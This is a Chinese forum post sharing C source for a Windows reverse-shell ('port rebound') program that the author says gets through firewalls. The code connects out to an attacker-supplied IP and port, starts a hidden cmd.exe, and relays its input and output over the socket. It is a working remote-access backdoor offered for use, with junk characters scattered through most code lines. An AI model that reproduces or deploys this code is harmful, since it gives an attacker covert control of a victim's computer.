社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3548阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t"m`P1  
R(#;yn  
/* ============================== |6G5  ?|  
Rebound port in Windows NT _J#Hq 'K  
By wind,2006/7 aQ3vG08L>  
===============================*/ iw6M3g#  
#include +c2>j8e6  
#include 5_T>HHR 6  
2/NWWoKw  
#pragma comment(lib,"wsock32.lib") #rL@  
W8/6  
void OutputShell(); Y{B_OoTun  
SOCKET sClient; ;5S7_p2]j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SVeU7Q6-  
= ft$j  
void main(int argc,char **argv) w4/)r-Z4I  
{ R3 =E?us!  
WSADATA stWsaData; Pg}G4L?H;J  
int nRet; E<_6O Cz  
SOCKADDR_IN stSaiClient,stSaiServer; c8 fb)`,k  
/60=N `i  
if(argc != 3) >~r@*gml  
{ ziip*<a !_  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ji:@z%osr  
return; 0L-g'^nn  
} aj~@r3E ;  
Y\F H4}\S  
WSAStartup(MAKEWORD(2,2),&stWsaData); -Q8`p  
9Ei#t FMc  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nmAXU!t'  
^OsUWhkV  
stSaiClient.sin_family = AF_INET; M0\[hps~X  
stSaiClient.sin_port = htons(0); S5p\J!k\B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^@cX0_  
9%veUvY  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %zVv3p:  
{ y 9mZQq  
printf("Bind Socket Failed!\n"); ago t (  
return; -i gZU>0B_  
} uZI:Kt#  
Y& %0 eI!  
stSaiServer.sin_family = AF_INET; k18V4ATE]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $VNn`0^gF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rI$10R$+H  
X~b+LG/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !0_Y@>2  
{ q&x#S_!  
printf("Connect Error!"); "lAS <dq  
return; FV,SA3  
} mjc:0hH  
OutputShell(); 09i[2n;O  
} 7guxkN#  
iIRigW  
void OutputShell() 4H '&5  
{ %^A++Z$`  
char szBuff[1024]; qa#F}aGd  
SECURITY_ATTRIBUTES stSecurityAttributes; *]u/,wCB  
OSVERSIONINFO stOsversionInfo; $^GnY7$!>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x$4'a~E  
STARTUPINFO stStartupInfo; S}yb~uc,  
char *szShell; l0)6[yXK  
PROCESS_INFORMATION stProcessInformation; ,\"gN5[$(  
unsigned long lBytesRead; /d;l:  
~0:c{v;4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n\,W:G9AR7  
X^)5O>>|t  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,bg#pG!x Q  
stSecurityAttributes.lpSecurityDescriptor = 0; oZw#Nd   
stSecurityAttributes.bInheritHandle = TRUE; U{m:{'np(H  
(.) s =  
-hfY:W`Dz  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NyNu1V$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J>&GP#7}  
; #  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YzVLa,[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j$Co-b1  
stStartupInfo.wShowWindow = SW_HIDE; w?"l4.E%  
stStartupInfo.hStdInput = hReadPipe; ^|z>NV5>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v.J#d>tvf  
~KvCb3~X  
GetVersionEx(&stOsversionInfo);  }2"k:-g  
nIT=/{oyi  
switch(stOsversionInfo.dwPlatformId) *O2j<3CHf  
{ uLht;-`{n  
case 1: r 6<}S(  
szShell = "command.com"; $tJJ >"  
break; 2q bpjm  
default: (6b%;2k  
szShell = "cmd.exe"; fx5vaM!  
break; Vy VC#AK,  
} -0Ek&"=Z^  
4v7RX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 64cmv}d_  
)k Uw,F=6  
send(sClient,szMsg,77,0); W1z5|-T  
while(1) N:.bnF(  
{ fAi113q!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R _%pR_\  
if(lBytesRead) OX2\H  
{ gsAO<Fy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,\ i q'}i  
send(sClient,szBuff,lBytesRead,0); TgLlmU*qMU  
} E'}$'n?:  
else .[! ^ L  
{ 6=k^gH[g  
lBytesRead=recv(sClient,szBuff,1024,0); OWzIea@  
if(lBytesRead<=0) break; 82<!b]^1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iD~s,  
} hb{(r@[WHv  
} 195(Kr<5$  
~Q0}>m,S  
return; &}ow-u9c3  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五